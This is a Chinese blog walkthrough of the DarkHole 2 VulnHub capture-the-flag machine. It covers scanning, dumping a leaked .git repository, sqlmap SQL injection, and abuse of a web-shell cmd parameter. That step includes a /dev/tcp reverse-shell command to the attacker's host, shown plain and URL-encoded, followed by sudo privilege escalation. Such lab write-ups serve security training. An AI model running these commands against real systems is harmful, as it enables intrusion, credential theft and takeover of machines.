VulnHub靶机渗透实战8-darkhole-2

 靶场地址:DarkHole: 2 ~ VulnHub

Description

Back to the Top

Difficulty:Hard

This works better with VMware rather than VirtualBox

Hint: Don't waste your time For Brute-Force

 网络模式的话,我喜欢用桥接,直接桥接。不多说了,开始吧。

一;信息收集。

1.发现IP。和端口服务。

发现同网段主机的方法。

arp-scan -l

masscan 192.168.1.1/24 -p 80

 2.发现git源码,访问一下端口服务。

 二:枚举漏洞。

1,找相关登录信息。下载git泄露源码。

wget递归下载所有文件

wget -r http://192.168.1.61/.git  这个方法没有完全的克隆下来。

这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。

 GitHacker 是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

下载地址:GitHub - WangYihang/GitHacker: 🕷️ A `.git` folder exploiting tool that is able to restore the entire Git repository, including stash, common branches, common tags.

这个也可:mirrors / WangYihang / GitHacker · GitCode

第一种下载源码的工具:GitHacker,

git clone https://github.com/wangyihang/githacker  把githacker下载下来。

python3 -m pip install -i https://pypi.org/simple/ GitHacker    安装工具

githacker --url http://192.168.1.61/.git/ --output-folder 111 把git泄露脚本重建输出到111文件夹

 完整的copy下来了,nice!

第二种把git源码下载下来的方法: GitHub - arthaud/git-dumper: A tool to dump a git repository from a website

使用git-dumper(从网站转储git存储库的工具。)下载git_dumper.py工具。

2,把源码下载下来。把git_dumper.py赋权之后,创建一个文件夹存放转存下来的库,执行git_dumper.py文件,这里没有这个dulwich包,安装一下就好。

以下是直接命令下载,因为网络问题下载不了的话,可以直接下载到本机,然后copy到kali.
git clone https://github.com/arthaud/git-dumper.git

cd git-dumper

pip install -r requirements.txt

mkdir darkhole-2

python3 git_dumper.py http://192.168.1.61:80/.git/ darkhole-2

 3.信息收集。

登录逻辑。看到 and id =1,做了防sql注入,那是不是代表登入进去之后就存在sql注入了。

 数据库配置信息。数据库名字:darkhole_2

 

检查 git 日志时,我们会在同一个地方看到凭据。看到第2次更新时,login.php使用了默认凭证。

因此,我们将 HEAD 切换到该提交,并查看login.php,在这里我们就已经发现账号密码了。

邮箱账户:lush@admin.com,密码:321.

git log 

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

git checkout a4d900a

 三;漏洞利用。

1.返回不一样,存在sql注入。

 2;爆数据库。

1,把数据包保存,

vim sql.txt

sqlmap -r sql.txt --dbs --batch(id加*号)

sqlmap -r sql.txt -p id --random-agent --is-dba(判断权限为dba)

sqlmap -r sql.txt -D darkhole_2 --dump-all --batch(获取数据库)

sqlmap -u http://192.168.1.61/dashboard.php?id=1 --cookie "PHPSESSID=l7cpo2t7nvh9p18dhasf29t6ka" --dbs  (不保存文件的话,可以用这种形式)

 2.ssh账号秘密:jehad/fool.

sqlmap -r sql.txt -D darkhole_2 --dump-all --batch(对数据库进行爆破,爆破数据库的账号密码及表)

sqlmap -u http://192.168.1.61/dashboard.php?id=1 --cookie "PHPSESSID=l7cpo2t7nvh9p18dhasf29t6ka"  -D darkhole_2 --tables(没保存文件用这种形式)

 三;提权。

1;ssh登录成功。可直接进losy用户,第一个flag。

 2;获取losy用户的shell.

获取到losy用户在本地9999端口开了php服务。

查看php服务文件发现提供了命令执行能力且在监听状态。

cat /etc/crontab 查看Linux的定时任务文件。

php -s是开启了一个网络服务器的意思

还发现一句话木马,往cmd里传参。

 在历史命令记录中: wget 下载了一个 反弹shell,那我们也要来反弹shell,传shell到靶机上。然后 利用 127.0.0.1?cmd 来执行

curl "http://127.0.0.1:9999/?cmd=php%20/tmp/php-reverse-shell.php"

有个问题,我传shell这种方式,没有权限,转换不了交互式shell,脑壳疼。换种方式试一下。

3;把开放的服务端口转发到本地来访问,我直接url访问吧,

ssh jehad@192.168.1.61 -L 9999:localhost:9999 从外面访问9999端口,连接失败,就只能把靶机的9999端口转发到本地来访问

ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.61

bash -c 'sh -i >& /dev/tcp/192.168.1.28/1234 0>&1' 构造kali监听,因为是get方式传参,所以url编码一下。

http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%32%38%2f%31%32%33%34%20%30%3e%26%31%27

python3 -c 'import pty; pty.spawn("/bin/bash")' 交互式shell

 获得losy用户的权限。history查看一下,losy用户的密码是:gang.

 

 4;登录losy用户,利用python3提权。 

 5;提权成功,root权限下的第二个flag。

sudo python3 -c 'import os; os.system("/bin/bash")' 利用sudo执行python3系统环境获取交互式shell

 四;两个账户都有密码了,还有个lama账号。

1;爆破一下密码;lama/123

 3;ssh登录lama账号。第二个flag。

sudo -l 一下,可执行所有权限。

sudo su  直接do一下,进root目录下,

 总结:

1;.git仓库的代码泄露,利用两种脚本把库里的源代码克隆到本机。

2;泄露的源码逻辑告诉我们以及登录之后的框存在sql注入,爆数据库,爆出ssh账号密码。

3;ssh本地端口转发,往一句话木马cmd里传参,url编码,卡莉url直接访问。(这里我还试了一种往靶机传shell的方式,能监听成功,但是仅限于shell,转换不了交互式shell。)

4;历史命令losy用户的密码,登录losy用户,利用sudo执行python3系统环境获取交互式shell。

5;提权的第二种方式,另外一个用户lama弱口令,可运行所有命令。直接sudo su 提权成功。

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值